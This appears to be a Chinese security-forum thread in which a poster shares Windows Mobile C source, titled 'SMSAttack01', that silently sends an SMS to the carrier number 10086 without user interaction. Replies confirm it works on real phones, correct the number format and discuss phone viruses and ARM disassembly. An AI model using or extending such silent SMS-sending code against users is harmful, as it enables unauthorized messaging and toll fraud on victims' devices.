能力值:
(RANK:510 )
|
-
-
2 楼
#include "stdafx.h"
#include "SMSAttack01.h"
#include <windows.h>
#include <commctrl.h>
#include <sms.h>
#pragma comment(lib,"sms.lib")
#include "E:\MFC程序\XHProgram\MGSEI_ERROR.h"
#include "E:\MFC程序\XHProgram\XHLIB.h"
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
HRESULT hResult = -1;
SMS_HANDLE hSMS = 0;
HANDLE hMessageAvailableEvent = 0;
SMS_ADDRESS dest;
BYTE SMSInfo[6]={'H',0,'F',0,0,0};
BYTE providerData[512];
//打开SMS句柄
hResult = SmsOpen(L"Microsoft Text SMS Protocol",
SMS_MODE_SEND,
&hSMS,
&hMessageAvailableEvent);
if(S_OK != hResult)
{
ShowText(L"Open SMS Error!");
return MGSEI_API_CALL_ERROR;
}
//设置短信发送地址
ZeroMemory(&dest,sizeof(SMS_ADDRESS));
dest.smsatAddressType = (SMS_ADDRESS_TYPE)1;
wcscpy(dest.ptsAddress,L"10086");
ZeroMemory(&providerData,512);
//发送短消息
hResult = SmsSendMessage(hSMS,
NULL,
&dest,
NULL,
SMSInfo,
sizeof(SMSInfo),
providerData,
164,
(SMS_DATA_ENCODING)0,
SMS_OPTION_DELIVERY_NONE,
0);
//判断发送消息是否正确
if(S_OK != hResult)
{
ShowText(L"Send SMS Error!");
SmsClose(hSMS);
return MGSEI_API_CALL_ERROR;
}
//关闭hSMS句柄和hMessageAvailableEvent句柄
if(S_OK != SmsClose(hSMS))
{
ShowText(L"Close SMS Error!");
return MGSEI_API_CALL_ERROR;
}
ShowSuccess();
return MGSEI_NO_ERROR;
}
|
能力值:
(RANK:510 )
|
-
-
3 楼
实验证明在真机上也可以发送成功。
|
能力值:
( LV3,RANK:20 )
|
-
-
4 楼
第一个留名关注。。。。
很强啊。
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
我的是诺基亚6120 S60第三版 没病毒呵呵
|
能力值:
(RANK:510 )
|
-
-
6 楼
目前已知的500多种手机病毒,诺基亚平台最多。因为市场占有率高。
|
能力值:
( LV3,RANK:20 )
|
-
-
7 楼
前段时间开到诺基亚收购塞班的股份,说将开源。不知道什么时候开源。如果开源塞班的病毒会更多,不过开源也是一种进步,对wm有一定的打击
|
能力值:
(RANK:510 )
|
-
-
8 楼
Windows CE 6.0也是在很大程度上开源的。
|
能力值:
( LV9,RANK:170 )
|
-
-
9 楼
低端JAVA2手机上能用?
|
能力值:
(RANK:510 )
|
-
-
10 楼
主要看操作系统是否是Windows Mobile的。
多普达的智能机应该都可以。JAVA2手机不好说。
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
受教了,不知楼主的程序在pc机上能否发送成功??
|
能力值:
(RANK:510 )
|
-
-
12 楼
普通PC不行。底层是X86架构的CPU,而我们的程序是Windows CE / ARM平台的,PE文件包含的是ARM指令。
|
能力值:
( LV13,RANK:290 )
|
-
-
13 楼
这么好的东西,竟然都不给精华,汗一个。
|
能力值:
( LV4,RANK:50 )
|
-
-
14 楼
用Xarm也可以做...
而且程序大小只有5K
|
能力值:
(RANK:510 )
|
-
-
15 楼
因为使用的是Debug方式编译连接。如果使用Release会小很多。
根据破解的效果看,似乎VS系统没有充分使用ARM指令的条件执行功能。
所以汇编在底层还是有优势的。
|
能力值:
(RANK:510 )
|
-
-
16 楼
用C/C++写代码主要是方便大家,用Xarm估计很多朋友对Xarm语法不熟悉。呵呵。
|
能力值:
( LV2,RANK:10 )
|
-
-
17 楼
WM平台的程序能反编译么``程序小应该很容易反编译的吧?
|
能力值:
( LV2,RANK:10 )
|
-
-
18 楼
哈哈手机上也有病毒
|
能力值:
(RANK:510 )
|
-
-
19 楼
可以反汇编,而且容易。关键是要熟悉ARM指令集和API才能看懂。呵呵。
|
能力值:
( LV2,RANK:10 )
|
-
-
20 楼
看到这样的帖子,真的拨云见日!万分感谢楼主!
昨晚小弟试了一下发现有点问题
“ wcscpy(dest.ptsAddress,L"10086");”应为8610086 否则加了那个“+”以后就不是给我们国家的10086发了,我试了一下,要给自己的别的手机发也必须加上这个86(国家区号)否则收不到。
另外楼主的
#include "E:\MFC程序\XHProgram\MGSEI_ERROR.h"
#include "E:\MFC程序\XHProgram\XHLIB.h"
能否明示一下,否则ShowText之类的函数没有定义。。。
|
能力值:
(RANK:510 )
|
-
-
21 楼
很高兴看到你的回帖。
谢谢你的提示,前面没有真机在模拟器上看到连接的Cell模拟器上收到消息就没有深入研究了。
那两个文件一个是出错消息的头文件。我喜欢从-1开始定义统一的出错返回消息,这样有利于提高代码的可读性便于维护代码。
另一个是一些自定义函数,ShowText用于使用一个弹出对话框显示字符串信息。也是统一编码方便调试和维护。
我现在这里没有这些代码,应该实现也不复杂。你把程序改改应该能用。呵呵。
|